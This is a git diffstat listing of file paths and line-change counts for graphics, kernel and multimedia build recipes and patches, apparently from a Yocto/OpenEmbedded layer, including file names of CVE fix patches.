-rw-r--r--meta/recipes-graphics/matchbox-wm/matchbox-wm_1.2.2.bb11
-rw-r--r--meta/recipes-graphics/menu-cache/files/0001-Support-gcc10-compilation.patch111
-rw-r--r--meta/recipes-graphics/menu-cache/menu-cache_1.1.0.bb6
-rw-r--r--meta/recipes-graphics/mesa/files/0001-futex.h-Define-__NR_futex-if-it-does-not-exist.patch34
-rw-r--r--meta/recipes-graphics/mesa/files/0001-meson-misdetects-64bit-atomics-on-mips-clang.patch25
-rw-r--r--meta/recipes-graphics/mesa/files/0001-meson.build-check-for-all-linux-host_os-combinations.patch29
-rw-r--r--meta/recipes-graphics/mesa/files/0001-util-format-Check-for-NEON-before-using-it.patch47
-rw-r--r--meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-ELF-optional.patch61
-rw-r--r--meta/recipes-graphics/mesa/files/0002-meson.build-make-TLS-GLX-optional-again.patch52
-rw-r--r--meta/recipes-graphics/mesa/files/0003-Allow-enable-DRI-without-DRI-drivers.patch46
-rw-r--r--meta/recipes-graphics/mesa/libglu_9.0.1.bb30
-rw-r--r--meta/recipes-graphics/mesa/libglu_9.0.2.bb28
-rw-r--r--meta/recipes-graphics/mesa/mesa-demos/0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch7
-rw-r--r--meta/recipes-graphics/mesa/mesa-demos/0013-only-build-GLX-demos-if-needed.patch62
-rw-r--r--meta/recipes-graphics/mesa/mesa-demos_8.4.0.bb8
-rw-r--r--meta/recipes-graphics/mesa/mesa-gl_19.1.6.bb10
-rw-r--r--meta/recipes-graphics/mesa/mesa-gl_22.0.0.bb13
-rw-r--r--meta/recipes-graphics/mesa/mesa.inc274
-rw-r--r--meta/recipes-graphics/mesa/mesa_19.1.6.bb20
-rw-r--r--meta/recipes-graphics/mesa/mesa_22.0.0.bb2
-rw-r--r--meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb9
-rw-r--r--meta/recipes-graphics/mx/mx-1.0/fix-test-includes.patch20
-rw-r--r--meta/recipes-graphics/mx/mx-1.0_1.4.7.bb16
-rw-r--r--meta/recipes-graphics/mx/mx.inc21
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-clutter.bb22
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-weston.bb15
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb5
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb4
-rw-r--r--meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb8
-rw-r--r--meta/recipes-graphics/pango/pango/0001-Skip-thai-break-tests-without-libthai.patch36
-rw-r--r--meta/recipes-graphics/pango/pango/run-ptest3
-rw-r--r--meta/recipes-graphics/pango/pango_1.44.6.bb45
-rw-r--r--meta/recipes-graphics/pango/pango_1.50.4.bb54
-rw-r--r--meta/recipes-graphics/piglit/piglit/0001-Add-a-missing-include-for-htobe32-definition.patch27
-rw-r--r--meta/recipes-graphics/piglit/piglit/0002-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch30
-rw-r--r--meta/recipes-graphics/piglit/piglit_git.bb27
-rw-r--r--meta/recipes-graphics/pong-clock/pong-clock_1.0.bb4
-rw-r--r--meta/recipes-graphics/shaderc/files/0001-cmake-disable-building-external-dependencies.patch109
-rw-r--r--meta/recipes-graphics/shaderc/files/0002-libshaderc_util-fix-glslang-header-file-location.patch26
-rw-r--r--meta/recipes-graphics/shaderc/shaderc_2022.1.bb29
-rw-r--r--meta/recipes-graphics/spir/spirv-headers_1.3.204.1.bb18
-rw-r--r--meta/recipes-graphics/spir/spirv-tools_1.3.204.1.bb41
-rw-r--r--meta/recipes-graphics/startup-notification/startup-notification-0.12/time_t.patch108
-rw-r--r--meta/recipes-graphics/startup-notification/startup-notification_0.12.bb10
-rw-r--r--meta/recipes-graphics/ttf-fonts/liberation-fonts_2.00.1.bb41
-rw-r--r--meta/recipes-graphics/ttf-fonts/liberation-fonts_2.1.5.bb38
-rw-r--r--meta/recipes-graphics/ttf-fonts/ttf-bitstream-vera_1.10.bb10
-rw-r--r--meta/recipes-graphics/virglrenderer/virglrenderer/0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch36
-rw-r--r--meta/recipes-graphics/virglrenderer/virglrenderer/0001-meson.build-use-python3-directly-for-python.patch27
-rw-r--r--meta/recipes-graphics/virglrenderer/virglrenderer/cve-2022-0135.patch117
-rw-r--r--meta/recipes-graphics/virglrenderer/virglrenderer/cve-2022-0175.patch107
-rw-r--r--meta/recipes-graphics/virglrenderer/virglrenderer_0.8.0.bb21
-rw-r--r--meta/recipes-graphics/virglrenderer/virglrenderer_0.9.1.bb25
-rw-r--r--meta/recipes-graphics/vulkan/assimp_4.1.0.bb20
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-demos/0001-Don-t-build-demos-with-questionably-licensed-data.patch98
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-demos_git.bb44
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-headers_1.1.108.bb18
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-headers_1.3.204.1.bb22
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-loader_1.1.108.bb37
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-loader_1.3.204.1.bb40
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-samples/0001-CMakeLists.txt-do-not-hardcode-lib-as-installation-t.patch29
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-samples/debugfix.patch31
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-samples_git.bb38
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-tools_1.1.108.bb31
-rw-r--r--meta/recipes-graphics/vulkan/vulkan-tools_1.3.204.1.bb32
-rw-r--r--meta/recipes-graphics/waffle/waffle/0001-waffle-do-not-make-core-protocol-into-the-library.patch56
-rw-r--r--meta/recipes-graphics/waffle/waffle_1.6.0.bb37
-rw-r--r--meta/recipes-graphics/waffle/waffle_1.7.0.bb49
-rw-r--r--meta/recipes-graphics/wayland/libinput/determinism.patch21
-rw-r--r--meta/recipes-graphics/wayland/libinput/run-ptest9
-rw-r--r--meta/recipes-graphics/wayland/libinput_1.14.1.bb32
-rw-r--r--meta/recipes-graphics/wayland/libinput_1.19.3.bb49
-rw-r--r--meta/recipes-graphics/wayland/mtdev_1.1.5.bb18
-rw-r--r--meta/recipes-graphics/wayland/mtdev_1.1.6.bb18
-rw-r--r--meta/recipes-graphics/wayland/wayland-protocols_1.18.bb22
-rw-r--r--meta/recipes-graphics/wayland/wayland-protocols_1.25.bb26
-rw-r--r--meta/recipes-graphics/wayland/wayland-utils_1.0.0.bb20
-rw-r--r--meta/recipes-graphics/wayland/wayland/0001-build-Fix-strndup-detection-on-MinGW.patch41
-rw-r--r--meta/recipes-graphics/wayland/wayland/0002-Do-not-hardcode-the-path-to-wayland-scanner.patch27
-rw-r--r--meta/recipes-graphics/wayland/wayland/fixpathinpcfiles.patch32
-rw-r--r--meta/recipes-graphics/wayland/wayland/run-ptest17
-rw-r--r--meta/recipes-graphics/wayland/wayland_1.17.0.bb44
-rw-r--r--meta/recipes-graphics/wayland/wayland_1.20.0.bb61
-rw-r--r--meta/recipes-graphics/wayland/weston-init.bb70
-rw-r--r--meta/recipes-graphics/wayland/weston-init/71-weston-drm.rules2
-rw-r--r--meta/recipes-graphics/wayland/weston-init/init3
-rw-r--r--meta/recipes-graphics/wayland/weston-init/qemux86-64/weston.ini2
-rw-r--r--meta/recipes-graphics/wayland/weston-init/qemux86/weston.ini2
-rw-r--r--meta/recipes-graphics/wayland/weston-init/weston-autologin11
-rwxr-xr-xmeta/recipes-graphics/wayland/weston-init/weston-start41
-rw-r--r--meta/recipes-graphics/wayland/weston-init/weston.env0
-rw-r--r--meta/recipes-graphics/wayland/weston-init/weston.ini9
-rw-r--r--meta/recipes-graphics/wayland/weston-init/weston.service71
-rw-r--r--meta/recipes-graphics/wayland/weston-init/weston.socket14
-rw-r--r--meta/recipes-graphics/wayland/weston-init/weston@.service37
-rw-r--r--meta/recipes-graphics/wayland/weston/0001-weston-launch-Provide-a-default-version-that-doesn-t.patch200
-rw-r--r--meta/recipes-graphics/wayland/weston/dont-use-plane-add-prop.patch32
-rw-r--r--meta/recipes-graphics/wayland/weston/systemd-notify.weston-start9
-rw-r--r--meta/recipes-graphics/wayland/weston/xwayland.weston-start2
-rw-r--r--meta/recipes-graphics/wayland/weston_10.0.0.bb140
-rw-r--r--meta/recipes-graphics/wayland/weston_7.0.0.bb111
-rw-r--r--meta/recipes-graphics/x11-common/xserver-nodm-init/capability.conf2
-rwxr-xr-xmeta/recipes-graphics/x11-common/xserver-nodm-init/xserver-nodm8
-rw-r--r--meta/recipes-graphics/x11-common/xserver-nodm-init_3.0.bb21
-rw-r--r--meta/recipes-graphics/xcursor-transparent-theme/xcursor-transparent-theme_git.bb4
-rw-r--r--meta/recipes-graphics/xinput-calibrator/pointercal-xinput_0.0.bb5
-rw-r--r--meta/recipes-graphics/xinput-calibrator/xinput-calibrator_git.bb16
-rw-r--r--meta/recipes-graphics/xorg-app/mkfontdir_1.0.7.bb22
-rw-r--r--meta/recipes-graphics/xorg-app/mkfontscale_1.1.3.bb18
-rw-r--r--meta/recipes-graphics/xorg-app/mkfontscale_1.2.1.bb21
-rw-r--r--meta/recipes-graphics/xorg-app/rgb_1.0.6.bb2
-rw-r--r--meta/recipes-graphics/xorg-app/x11perf_1.6.1.bb8
-rw-r--r--meta/recipes-graphics/xorg-app/xauth_1.1.1.bb14
-rw-r--r--meta/recipes-graphics/xorg-app/xauth_1.1.bb15
-rw-r--r--meta/recipes-graphics/xorg-app/xev/diet-x11.patch35
-rw-r--r--meta/recipes-graphics/xorg-app/xev_1.2.3.bb18
-rw-r--r--meta/recipes-graphics/xorg-app/xev_1.2.4.bb17
-rw-r--r--meta/recipes-graphics/xorg-app/xeyes_1.1.2.bb14
-rw-r--r--meta/recipes-graphics/xorg-app/xeyes_1.2.0.bb13
-rw-r--r--meta/recipes-graphics/xorg-app/xinit/0001-Make-manpage-multilib-identical.patch28
-rw-r--r--meta/recipes-graphics/xorg-app/xinit_1.4.1.bb7
-rw-r--r--meta/recipes-graphics/xorg-app/xkbcomp_1.4.2.bb17
-rw-r--r--meta/recipes-graphics/xorg-app/xkbcomp_1.4.5.bb18
-rw-r--r--meta/recipes-graphics/xorg-app/xorg-app-common.inc8
-rw-r--r--meta/recipes-graphics/xorg-app/xprop_1.2.4.bb18
-rw-r--r--meta/recipes-graphics/xorg-app/xprop_1.2.5.bb17
-rw-r--r--meta/recipes-graphics/xorg-app/xrandr_1.5.1.bb2
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-libinput_0.29.0.bb11
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-libinput_1.2.1.bb12
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-synaptics/64bit_time_t_support.patch51
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-synaptics_1.9.1.bb2
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-input-vmmouse_13.1.0.bb6
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-intel/01_Fix-build-on-i686.patch55
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-intel_git.bb18
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-vesa/0001-Refuse-to-run-on-UEFI-machines.patch52
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.4.0.bb23
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-vesa_2.5.0.bb19
-rw-r--r--meta/recipes-graphics/xorg-driver/xf86-video-vmware/0002-add-option-for-vmwgfx.patch2
-rw-r--r--meta/recipes-graphics/xorg-driver/xorg-driver-common.inc16
-rw-r--r--meta/recipes-graphics/xorg-driver/xorg-driver-input.inc2
-rw-r--r--meta/recipes-graphics/xorg-font/encodings_1.0.5.bb8
-rw-r--r--meta/recipes-graphics/xorg-font/font-alias-1.0.3/nocompiler.patch32
-rw-r--r--meta/recipes-graphics/xorg-font/font-alias-1.0.4/nocompiler.patch42
-rw-r--r--meta/recipes-graphics/xorg-font/font-alias_1.0.3.bb24
-rw-r--r--meta/recipes-graphics/xorg-font/font-alias_1.0.4.bb23
-rw-r--r--meta/recipes-graphics/xorg-font/font-util_1.3.2.bb10
-rw-r--r--meta/recipes-graphics/xorg-font/xorg-font-common.inc14
-rw-r--r--meta/recipes-graphics/xorg-font/xorg-minimal-fonts.bb14
-rw-r--r--meta/recipes-graphics/xorg-lib/libice_1.0.10.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libpciaccess_0.16.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libpthread-stubs_0.4.bb4
-rw-r--r--meta/recipes-graphics/xorg-lib/libsm_1.2.3.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libx11-compose-data_1.6.8.bb7
-rw-r--r--meta/recipes-graphics/xorg-lib/libx11/Fix-hanging-issue-in-_XReply.patch58
-rw-r--r--meta/recipes-graphics/xorg-lib/libx11_1.6.9.bb45
-rw-r--r--meta/recipes-graphics/xorg-lib/libx11_1.7.3.1.bb48
-rw-r--r--meta/recipes-graphics/xorg-lib/libxau_1.0.9.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcb/xcbincludedir.patch28
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcb_1.13.1.bb37
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcb_1.14.bb39
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcomposite_0.4.5.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcursor_1.2.0.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxcvt_0.1.1.bb19
-rw-r--r--meta/recipes-graphics/xorg-lib/libxdmcp_1.1.3.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxext_1.3.4.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfixes_5.0.3.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfixes_6.0.0.bb20
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfont2_2.0.4.bb24
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfont2_2.0.5.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxfont_1.5.4.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxft_2.3.3.bb33
-rw-r--r--meta/recipes-graphics/xorg-lib/libxft_2.3.4.bb32
-rw-r--r--meta/recipes-graphics/xorg-lib/libxi_1.7.10.bb23
-rw-r--r--meta/recipes-graphics/xorg-lib/libxi_1.8.bb22
-rw-r--r--meta/recipes-graphics/xorg-lib/libxkbcommon_0.8.4.bb26
-rw-r--r--meta/recipes-graphics/xorg-lib/libxkbcommon_1.4.0.bb36
-rw-r--r--meta/recipes-graphics/xorg-lib/libxkbfile_1.1.0.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxmu_1.1.3.bb4
-rw-r--r--meta/recipes-graphics/xorg-lib/libxpm_3.5.12.bb27
-rw-r--r--meta/recipes-graphics/xorg-lib/libxpm_3.5.13.bb27
-rw-r--r--meta/recipes-graphics/xorg-lib/libxrandr_1.5.2.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxrender_0.9.10.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxres_1.2.0.bb20
-rw-r--r--meta/recipes-graphics/xorg-lib/libxres_1.2.1.bb19
-rw-r--r--meta/recipes-graphics/xorg-lib/libxscrnsaver_1.2.3.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxshmfence/0001-xshmfence_futex.h-Define-SYS_futex-if-it-does-not-ex.patch39
-rw-r--r--meta/recipes-graphics/xorg-lib/libxshmfence_1.3.bb8
-rw-r--r--meta/recipes-graphics/xorg-lib/libxt_1.2.0.bb32
-rw-r--r--meta/recipes-graphics/xorg-lib/libxt_1.2.1.bb31
-rw-r--r--meta/recipes-graphics/xorg-lib/libxtst_1.2.3.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxv_1.0.11.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/libxxf86vm_1.1.4.bb2
-rw-r--r--meta/recipes-graphics/xorg-lib/pixman/0001-test-utils-Check-for-FE_INVALID-definition-before-us.patch33
-rw-r--r--meta/recipes-graphics/xorg-lib/pixman_0.38.4.bb40
-rw-r--r--meta/recipes-graphics/xorg-lib/pixman_0.40.0.bb41
-rw-r--r--meta/recipes-graphics/xorg-lib/xcb-util.inc2
-rw-r--r--meta/recipes-graphics/xorg-lib/xkeyboard-config_2.27.bb31
-rw-r--r--meta/recipes-graphics/xorg-lib/xkeyboard-config_2.35.1.bb30
-rw-r--r--meta/recipes-graphics/xorg-lib/xorg-lib-common.inc6
-rw-r--r--meta/recipes-graphics/xorg-lib/xtrans_1.4.0.bb4
-rw-r--r--meta/recipes-graphics/xorg-proto/xcb-proto_1.13.bb29
-rw-r--r--meta/recipes-graphics/xorg-proto/xcb-proto_1.14.1.bb28
-rw-r--r--meta/recipes-graphics/xorg-proto/xorg-proto-common.inc26
-rw-r--r--meta/recipes-graphics/xorg-proto/xorgproto_2019.2.bb14
-rw-r--r--meta/recipes-graphics/xorg-proto/xorgproto_2021.5.bb25
-rw-r--r--meta/recipes-graphics/xorg-util/util-macros_1.19.2.bb19
-rw-r--r--meta/recipes-graphics/xorg-util/util-macros_1.19.3.bb19
-rw-r--r--meta/recipes-graphics/xorg-util/xorg-util-common.inc2
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemumips/xorg.conf39
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xf86-config/qemumips64/xorg.conf39
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xf86-config_0.1.bb6
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg.inc157
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-Avoid-duplicate-definitions-of-IOPortBase.patch29
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-compiler.h-Do-not-include-sys-io.h-on-ARM-with-glibc.patch63
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/0001-test-xtest-Initialize-array-with-braces.patch36
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/pkgconfig.patch34
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg/sdksyms-no-build-path.patch50
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg_1.20.5.bb32
-rw-r--r--meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.3.bb28
-rw-r--r--meta/recipes-graphics/xrestop/xrestop_0.4.bb4
-rw-r--r--meta/recipes-graphics/xwayland/xwayland_22.1.0.bb45
-rw-r--r--meta/recipes-kernel/blktrace/blktrace/CVE-2018-10689.patch150
-rw-r--r--meta/recipes-kernel/blktrace/blktrace/ldflags.patch114
-rw-r--r--meta/recipes-kernel/blktrace/blktrace_git.bb16
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-linux_1.10.bb13
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-linux_1.12.bb13
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-module_1.10.bb17
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-module_1.12.bb16
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-tests_1.10.bb21
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev-tests_1.12.bb22
-rw-r--r--meta/recipes-kernel/cryptodev/cryptodev.inc12
-rw-r--r--meta/recipes-kernel/cryptodev/files/0001-Fix-module-loading-with-Linux-v5.0-rc5.patch59
-rw-r--r--meta/recipes-kernel/cryptodev/files/0001-tests-Makefile-do-not-use-Werror.patch24
-rw-r--r--meta/recipes-kernel/dtc/dtc.inc26
-rw-r--r--meta/recipes-kernel/dtc/dtc/0001-fdtdump-fix-Werror-int-to-pointer-cast.patch40
-rw-r--r--meta/recipes-kernel/dtc/dtc/make_install.patch26
-rw-r--r--meta/recipes-kernel/dtc/dtc_1.5.1.bb10
-rw-r--r--meta/recipes-kernel/dtc/dtc_1.6.1.bb30
-rw-r--r--meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-doc-validate20
-rw-r--r--meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-mk-schema20
-rw-r--r--meta/recipes-kernel/dtc/python3-dtschema-wrapper/dt-validate20
-rw-r--r--meta/recipes-kernel/dtc/python3-dtschema-wrapper_2021.10.bb17
-rw-r--r--meta/recipes-kernel/kern-tools/kern-tools-native_git.bb25
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0001-arm64-kexec-disabled-check-if-kaslr-seed-dtb-propert.patch67
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch93
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools/0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch40
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools_2.0.19.bb88
-rw-r--r--meta/recipes-kernel/kexec/kexec-tools_2.0.23.bb86
-rw-r--r--meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb4
-rw-r--r--meta/recipes-kernel/kmod/kmod-native_git.bb15
-rw-r--r--meta/recipes-kernel/kmod/kmod.inc36
-rw-r--r--meta/recipes-kernel/kmod/kmod/0001-build-Stop-using-dolt.patch28
-rw-r--r--meta/recipes-kernel/kmod/kmod_29.bb86
-rw-r--r--meta/recipes-kernel/kmod/kmod_git.bb60
-rw-r--r--meta/recipes-kernel/linux-firmware/linux-firmware_20190815.bb943
-rw-r--r--meta/recipes-kernel/linux-firmware/linux-firmware_20220310.bb1068
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc36
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-if_ether-move-muslc-ethhdr-protection-to-uapi-file.patch31
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-include-linux-stddef.h-in-swab.h-uapi-header.patch10
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-kbuild-install_headers.sh-Strip-_UAPI-from-if-define.patch27
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0002-libc-compat.h-prevent-redefinition-of-struct-ethhdr.patch30
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch12
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.16.bb20
-rw-r--r--meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.2.bb18
-rw-r--r--meta/recipes-kernel/linux/kernel-devsrc.bb112
-rw-r--r--meta/recipes-kernel/linux/linux-dummy.bb20
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-dev.bb33
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-rt_4.19.bb44
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-rt_5.10.bb45
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-rt_5.15.bb45
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-rt_5.2.bb44
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-tiny_4.19.bb32
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-tiny_5.10.bb32
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-tiny_5.15.bb32
-rw-r--r--meta/recipes-kernel/linux/linux-yocto-tiny_5.2.bb32
-rw-r--r--meta/recipes-kernel/linux/linux-yocto.inc66
-rw-r--r--meta/recipes-kernel/linux/linux-yocto_4.19.bb50
-rw-r--r--meta/recipes-kernel/linux/linux-yocto_5.10.bb58
-rw-r--r--meta/recipes-kernel/linux/linux-yocto_5.15.bb70
-rw-r--r--meta/recipes-kernel/linux/linux-yocto_5.2.bb54
-rwxr-xr-xmeta/recipes-kernel/lttng/babeltrace/run-ptest9
-rw-r--r--meta/recipes-kernel/lttng/babeltrace2/0001-Make-manpages-multilib-identical.patch28
-rw-r--r--meta/recipes-kernel/lttng/babeltrace2/0001-tests-do-not-run-test-applications-from-.libs.patch28
-rwxr-xr-xmeta/recipes-kernel/lttng/babeltrace2/run-ptest9
-rw-r--r--meta/recipes-kernel/lttng/babeltrace2_2.0.4.bb93
-rw-r--r--meta/recipes-kernel/lttng/babeltrace_1.5.7.bb20
-rw-r--r--meta/recipes-kernel/lttng/babeltrace_1.5.8.bb98
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch46
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/BUILD_RUNTIME_BUG_ON-vs-gcc7.patch43
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules/Makefile-Do-not-fail-if-CONFIG_TRACEPOINTS-is-not-en.patch49
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules_2.10.11.bb46
-rw-r--r--meta/recipes-kernel/lttng/lttng-modules_2.13.2.bb39
-rw-r--r--meta/recipes-kernel/lttng/lttng-platforms.inc17
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/0001-Skip-when-testapp-is-not-present.patch610
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/0001-check-for-gettid-API-during-configure.patch55
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/0001-tests-do-not-strip-a-helper-library.patch27
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/0002-Fix-check-for-lttng-modules-presence-before-testing.patch24
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/determinism.patch64
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/disable-tests.patch34
-rwxr-xr-xmeta/recipes-kernel/lttng/lttng-tools/run-ptest1
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools/x32.patch36
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools_2.10.7.bb163
-rw-r--r--meta/recipes-kernel/lttng/lttng-tools_2.13.4.bb188
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust/0001-Makefile.am-update-rpath-link.patch35
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust/0001-lttng-ust-common-link-with-liburcu-explicitly.patch25
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust/0001-python-lttngust-Makefile.am-Add-install-lib-to-setup.patch22
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust/lttng-ust-doc-examples-disable.patch17
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust_2.10.5.bb49
-rw-r--r--meta/recipes-kernel/lttng/lttng-ust_2.13.1.bb53
-rw-r--r--meta/recipes-kernel/make-mod-scripts/make-mod-scripts_1.0.bb16
-rwxr-xr-xmeta/recipes-kernel/modutils-initscripts/files/modutils.sh11
-rw-r--r--meta/recipes-kernel/modutils-initscripts/modutils-initscripts.bb8
-rw-r--r--meta/recipes-kernel/perf/perf.bb117
-rwxr-xr-xmeta/recipes-kernel/perf/perf/sort-pmuevents.py97
-rw-r--r--meta/recipes-kernel/powertop/powertop/0001-src-fix-compatibility-with-ncurses-6.3.patch52
-rw-r--r--meta/recipes-kernel/powertop/powertop_2.10.bb34
-rw-r--r--meta/recipes-kernel/powertop/powertop_2.14.bb25
-rw-r--r--meta/recipes-kernel/sysprof/files/0001-Do-not-build-anything-in-help-as-it-requires-itstool.patch27
-rw-r--r--meta/recipes-kernel/sysprof/files/define-NT_GNU_BUILD_ID.patch22
-rw-r--r--meta/recipes-kernel/sysprof/sysprof_3.32.0.bb32
-rw-r--r--meta/recipes-kernel/systemtap/systemtap-uprobes_git.bb6
-rw-r--r--meta/recipes-kernel/systemtap/systemtap/0001-PR28778-gcc-warning-tweak-for-sprintf-precision-para.patch45
-rw-r--r--meta/recipes-kernel/systemtap/systemtap/0001-PR28804-tune-default-stap-s-buffer-size-on-small-RAM.patch84
-rw-r--r--meta/recipes-kernel/systemtap/systemtap/0001-staprun-address-ncurses-6.3-failures.patch61
-rw-r--r--meta/recipes-kernel/systemtap/systemtap_git.bb62
-rw-r--r--meta/recipes-kernel/systemtap/systemtap_git.inc14
-rw-r--r--meta/recipes-kernel/wireless-regdb/wireless-regdb_2019.06.03.bb44
-rw-r--r--meta/recipes-kernel/wireless-regdb/wireless-regdb_2022.02.18.bb43
-rw-r--r--meta/recipes-multimedia/alsa/alsa-lib_1.1.9.bb41
-rw-r--r--meta/recipes-multimedia/alsa/alsa-lib_1.2.6.1.bb44
-rw-r--r--meta/recipes-multimedia/alsa/alsa-plugins_1.1.9.bb173
-rw-r--r--meta/recipes-multimedia/alsa/alsa-plugins_1.2.6.bb174
-rw-r--r--meta/recipes-multimedia/alsa/alsa-tools_1.1.7.bb86
-rw-r--r--meta/recipes-multimedia/alsa/alsa-tools_1.2.5.bb88
-rw-r--r--meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.5.1.bb23
-rw-r--r--meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.6.3.bb24
-rw-r--r--meta/recipes-multimedia/alsa/alsa-utils-scripts_1.1.9.bb25
-rw-r--r--meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.6.bb25
-rw-r--r--meta/recipes-multimedia/alsa/alsa-utils.inc108
-rw-r--r--meta/recipes-multimedia/alsa/alsa-utils_1.1.9.bb106
-rw-r--r--meta/recipes-multimedia/alsa/alsa-utils_1.2.6.bb2
-rw-r--r--meta/recipes-multimedia/ffmpeg/ffmpeg/0001-libavutil-include-assembly-with-full-path-from-sourc.patch112
